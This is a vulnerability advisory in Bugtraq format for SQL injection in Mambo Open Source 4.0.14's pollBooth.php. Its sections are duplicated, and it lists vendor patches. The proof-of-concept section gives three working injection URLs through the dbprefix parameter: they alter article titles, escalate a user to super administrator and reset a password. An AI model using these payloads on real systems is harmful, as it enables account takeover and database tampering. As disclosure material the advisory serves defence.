Mambo Open Source PollBooth.PHP Multiple SQL Injection Vulnerabilities
BID:9197
Info
Mambo Open Source PollBooth.PHP Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 9197 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 10 2003 12:00AM |
| Updated: | Dec 10 2003 12:00AM |
| Credit: | Discovery of these vulnerabilities has been credited to frog-m@n <[email protected]>. |
| Vulnerable: |
Mambo Mambo Open Source 4.0.14 |
| Not Vulnerable: | |
Discussion
Mambo Open Source PollBooth.PHP Multiple SQL Injection Vulnerabilities
Mambo Open Source is prone to SQL injection attacks. This is due to an input validation error in 'pollBooth.php'. In particular, various user-supplied variables are used in an SQL query without proper sanitization of SQL syntax. As a result, a remote attacker could include malicious SQL syntax via URI parameters and influence database queries.
Mambo Open Source is prone to SQL injection attacks. This is due to an input validation error in 'pollBooth.php'. In particular, various user-supplied variables are used in an SQL query without proper sanitization of SQL syntax. As a result, a remote attacker could include malicious SQL syntax via URI parameters and influence database queries.
Exploit / POC
Mambo Open Source PollBooth.PHP Multiple SQL Injection Vulnerabilities
The following proof of concept exploit have been supplied:
# The title of the article N?23 becomes "hop" :
http://www.example.com/pollBooth.php?task=Vote&lang=eng&sessioncookie=1&
voteID=1&dbprefix=mos_articles%20SET%20title=char(104,111,112)
%20WHERE artid=23/*
# The user having id 52 becomes "super administrator" :
http://www.example.com/pollBooth.php?task=Vote&lang=eng&sessioncookie=1&
voteID=1&dbprefix=mos_users%20SET%20usertype=char(115,117,
112,101,114,97,100,109,105,110,105,115,116,114,97,116,111,114)
%20WHERE%20id=52/*
# The password of the user having id 10 becomes 'a' :
http://www.example.com/pollBooth.php?task=Vote&lang=eng&sessioncookie=1&
voteID=1&dbprefix=mos_users%20SET%20password=md5(char(97))
%20WHERE%20id=10/*
The following proof of concept exploit have been supplied:
# The title of the article N?23 becomes "hop" :
http://www.example.com/pollBooth.php?task=Vote&lang=eng&sessioncookie=1&
voteID=1&dbprefix=mos_articles%20SET%20title=char(104,111,112)
%20WHERE artid=23/*
# The user having id 52 becomes "super administrator" :
http://www.example.com/pollBooth.php?task=Vote&lang=eng&sessioncookie=1&
voteID=1&dbprefix=mos_users%20SET%20usertype=char(115,117,
112,101,114,97,100,109,105,110,105,115,116,114,97,116,111,114)
%20WHERE%20id=52/*
# The password of the user having id 10 becomes 'a' :
http://www.example.com/pollBooth.php?task=Vote&lang=eng&sessioncookie=1&
voteID=1&dbprefix=mos_users%20SET%20password=md5(char(97))
%20WHERE%20id=10/*
Solution / Fix
Mambo Open Source PollBooth.PHP Multiple SQL Injection Vulnerabilities
Solution:
The vendor has released a patch to address this issue. Patch 1 must be installed prior to the installation of Patch 2(Which addresses this issue).
Mambo Mambo Open Source 4.0.14
Solution:
The vendor has released a patch to address this issue. Patch 1 must be installed prior to the installation of Patch 2(Which addresses this issue).
Mambo Mambo Open Source 4.0.14
-
Mambo MamboV4.0.14-patch-01.tar.gz
http://heanet.dl.sourceforge.net/sourceforge/mambo/MamboV4.0.14-patch- 01.tar.gz -
Mambo MamboV4.0.14-patch-02.tar.gz
http://heanet.dl.sourceforge.net/sourceforge/mambo/MamboV4.0.14-patch- 02.tar.gz
References
Mambo Open Source PollBooth.PHP Multiple SQL Injection Vulnerabilities
References:
References:
- Mambo Open Source Homepage (Mambo)
- [SCSA-023] Multiple vulnerabilities in Mambo Server ("Security Corporation Security Advisory"